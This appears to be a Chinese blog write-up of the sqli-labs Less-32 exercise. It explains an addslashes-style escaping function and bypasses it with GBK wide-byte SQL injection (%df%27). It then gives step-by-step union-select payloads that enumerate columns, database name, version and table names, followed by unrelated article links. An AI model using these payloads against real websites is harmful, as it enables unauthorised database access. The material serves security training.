当前位置: 首页 > news >正文

sqli-第三十二关——bypass addslashes

一:宽字节注入

先查看源码

观察转义函数 check_addslashes()里面的三行表达式

第一行

 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  part1: '/'. preg_quote('\\') .'/'

转义了反斜杠:假设我们输入a\b

                先在preg_quote进行第一层转义,将 \ 转义为两个反斜杠,输出 /\\/ 

                然后再替换字符串 \\\\\\,实际表示出三个反斜杠,因为第一\是php解析层,解析完变成 \\\\,第二圈是正则表达式解析层,所以实际表示三个反斜杠

                所以会输出a\\\b;

作用:把字符串所有的 \ 替换成 \\

第二行

$string = preg_replace('/\'/i', '\\\'', $string);

 作用:把所有的 ' 替换成 \'

第三行

$string = preg_replace('/\"/', "\\\"", $string);

 作用:把所有的 ” 替换成 \"

反斜杠( \ )在编程中是转义字符,可以让后面的特殊字符失去其特殊意义

例如,\'  表示 " 这是一个普通的单引号,不是SQL语句的结束符 "

宽字节的格式是在地址后面加一个%df,再加单引号,

因为反斜杠的编码是%5c,连起来%df&5c对应GBK编码中的 ‘ 運 ’ 字,也就是说,数据库实际看到的是

SELECT * FROM users WHERE id='運' OR 1=1 --'

这样单引号就成功逃逸出来了,也就是说 or 1=1的恶意代码执行了 

二:判断闭合类型

输入?id=1',可以通过提示发现被转义了

我们尝试宽字节注入 ,成功报错

?id=1%df%27

--+尝试闭合 

​编辑 文章

闭合成功

三:开始注入:

1.爆列数

?id=1%df%27%20order%20by%201,2,3,4--+

2.爆回显位 

?id=-1%df%27%20union%20select%201,2,3--+

3.爆库名和版本号

?id=-1%df%27%20union%20select%201,database(),version()--+

 4.联合查询爆表名,行数:

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

❀❀❀ 完结撒花!!!❀❀❀ 

相关文章:

  • 一对多 多对一
  • SQL思路解析:窗口函数该如何使用?
  • LeetCode 高频 SQL 50 题(基础版)之 【连接】部分 · 上
  • 猿大师办公助手WebOffice用二进制数据流在Web前端打开Office文档
  • 二次封装 Vuex for Uniapp 微信小程序开发
  • npm error Cannot find module ‘negotiator‘ 的处理
  • Turf.js:前端地理空间分析的瑞士军刀
  • 网络编程3
  • 图论回溯
  • 【监控】Spring Boot 应用监控
  • 如何制作全景VR图?
  • 线上 VR 展会:独特魅力与显著特质
  • 【赵渝强老师】HBase的体系架构
  • VR 技术与病毒分离鉴定:一场奇妙的邂逅​
  • Mobaxterm 连接到 Docker 容器
  • C语言栈详解
  • 不同电脑同一个网络ip地址一样吗
  • ⚡ Hyperlane —— 比 Rocket 更快的 Rust Web 框架!
  • IEEE出版|2025年智能制造、机器人与自动化国际学术会议 (IMRA2025)
  • 晶体单元(crystal unit)与晶体振荡器(crystal oscillator)
  • 网站 模板 php/搜索引擎优化的简写是
  • 酒店网站建设设计/上海seo网站排名优化公司
  • 舒城县建设局网站/上海好的网络推广公司
  • 织梦网站怎样做锚文本/游戏加盟
  • 电商网站系统建设考试/销售策略和营销策略
  • 网站换空间上怎么办/移动网站推广如何优化